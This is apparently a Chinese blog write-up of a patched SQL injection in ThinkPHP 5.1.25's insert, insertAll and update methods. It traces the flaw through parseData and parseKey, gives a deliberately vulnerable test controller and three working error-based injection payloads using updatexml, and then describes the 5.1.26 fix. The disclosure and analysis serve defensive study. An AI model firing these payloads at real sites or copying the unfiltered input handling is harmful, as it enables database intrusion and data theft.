0x00 前言

这个洞,早在9月29号的时候我提交给先知,那时候tp还是5.1.25的版本,天还很蓝,我也还很年轻。时至今日这个洞依旧没有审核,而tp在这期间都已经更新到了5.1.29。在最近我去跟踪的时候,发现这个洞在5.1.26版本被修复了。好吧,既然修复了,那就公开吧,我博客也好久没有漏洞类文章了。所以说做人还是不能太向钱,有漏洞为什么不直接提给厂商呢?为什么不公开呢?是贪婪让我变得面目全非XD。

事先说明,这个洞其实很鸡肋。

0x01 漏洞详情

版本:5.1.25

影响方法:insert、insetAll、update

条件:传入上面方法的参数数组,用户可控数组的键值(说到这里,了解tp的其实应该知道是什么原因了,就是sql语句中的字段名可控导致的注入),在实际利用的时候还要知道表的一个字段名。

thinkphp\libray\think\db\Builder.php parseData函数 直接看解析$data的代码

跟进parseKey函数,位置:thinkphp\library\think\db\builder\Mysql.php

注意到上面开启了严格模式,key不等于*,所以必然会在两边加上反引号。

回到parseData函数,继续往下走

为了让$item作为$result数组的key值返回,我们可以让传入的数组为一个二维数组,使用表达式方法INC或者DEC,

形如:

$data[key][]='inc';

同时还需要让key中包含'.',否则有可能会抛出异常。

而这里的key就是在传入数据库中的字段位置,可以注入

同时为了$val[1]不报错我们需要传入$data[key][1]=1

嗯,大概分析到这里,有兴趣的去跟踪一下。

0x02 漏洞复现

添加如下代码至index controller中,分别对应三种方法

public function testsql()
{
$data = input('data');
var_dump($data);
$result = db('user')->insert($data);
//$result = db('user')->insertAll($data);
//$result = db('user')->where('id',1)->update($data);
}

为了方便,修改config/app.php,开启调试模式

'app_debug'              => true

添加个数据库tptest,下面有一个表user

结构如下:

修改database.php,填写数据库信息:

下面是三种方法的payload,其中需要知道表中的一个字段,这里用的是id

insert 方法

payload:

data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1

insertAll 方法

因为insertAll 做了一层循环,所以需要传入一个三维数组。看到thinkphp\library\think\db\Builder.php insertAll()方法

payload:

data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1

update 方法

payload:

data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][0]=inc&data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][1]=1

0x03 漏洞修复

拉一个tp 5.1.26版本的下来,发现在parseKey方法中做了限制,位置:thinkphp\library\think\db\builder\Mysql.php

对key做了比较严格的验证,限制了可用字符。

0x04 总结

实际中,这种更新,插入的操作大多不可控key值,就算可控key值也比较集中在后台,所以比较鸡肋。

还有一篇也是跟tp有关的,待更新。

[漏洞分析]thinkphp 5.1.25 insert、insetAll、update方法注入的更多相关文章

  1. [漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录

    0x00 简介 2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞. 吃完饭回来看到这个公告都傻眼了,整个tp5系 ...

  2. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  3. ThinkPHP 5.x远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  4. ThinkPHP Mongo驱动update方法支持upsert参数

    Mongo数据库update操作有一个相对于Mysql的关键特性,它可以使用upsert模式,当更新的数据不存在时,直接插入,但是ThinkPHP的Mongo驱动居然不支持这一特性,没办法,自力更生了 ...

  5. ThinkPHP 5.0远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  6. 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

    当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...

  7. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  8. Thinkphp 5.1.24 parseKey缺陷导致聚合注入 分析

    测试url: http://127.0.0.1/thinkphp/thinkphp_5.1.24/public/index.php/index/index/sqli2?id=2 控制器是获取id参数作 ...

  9. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

随机推荐

  1. 【vue报错】——listen EADDRINUSE :::8080 解决方案

    题原因: 此项错误表示 8080 端口被占用 解决方案一: 打开cmd输入:netstat -ano|findstr "8080"查看所有端口信息,并通过findstr “8080 ...

  2. CSS font-family 各名称一览表

    参考链接:https://blog.csdn.net/cddcj/article/details/70739481

  3. 论文笔记系列-Simple And Efficient Architecture Search For Neural Networks

    摘要 本文提出了一种新方法,可以基于简单的爬山过程自动搜索性能良好的CNN架构,该算法运算符应用网络态射,然后通过余弦退火进行短期优化运行. 令人惊讶的是,这种简单的方法产生了有竞争力的结果,尽管只需 ...

  4. pycharm2018破解

    1.下载 链接:https://pan.baidu.com/s/1G0C9xoUQg6JRgNQYLMIi1w 密码:2z3x 2.修改 "G:\Python\JetBrains\PyCha ...

  5. Docker安装Zookeeper

    ⒈下载 docker pull zookeeper ⒉运行 docker run --name zk -p 2181:2181 -p 2888:2888 -p 3888:3888 --restart ...

  6. CSS在项目中常用的属性总结

    1.媒体查询 2.如何快速生成适配各种浏览器的属性. 3.全面进军移动app开发.

  7. 【转】Shell编程进阶篇(完结)

    [转]Shell编程进阶篇(完结) 1.1 for循环语句 在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行. 它跟其他的循环,如while循环,最 ...

  8. freeRTOS中文实用教程2--队列

    1.前言 freeRTOS中所有任务的通信和同步机制都是基于队列来实现. 2.队列的特点 图 队列的读写操作 队列的数据存储 (1)队列可以保存有限个具有确定长度的数据单元,队列可以保存的最大单元数目 ...

  9. HTMl学习笔记02-编辑器

    工欲善其事,必先利其器 使用专业HTML编辑器来编辑HTML,推荐使用Notepad++,中文界面. 在Notepad++安装完成后,点击文件>新建.语言>H中选择HTML 在新建的文件输 ...

  10. mongodb数据库安装及常见操作

    客户端和服务端的安装 # rpm -ivh mongo-10gen-2.4.6-mongodb_1.x86_64.rpm mongo-10gen-server-2.4.6-mongodb_1.x86_ ...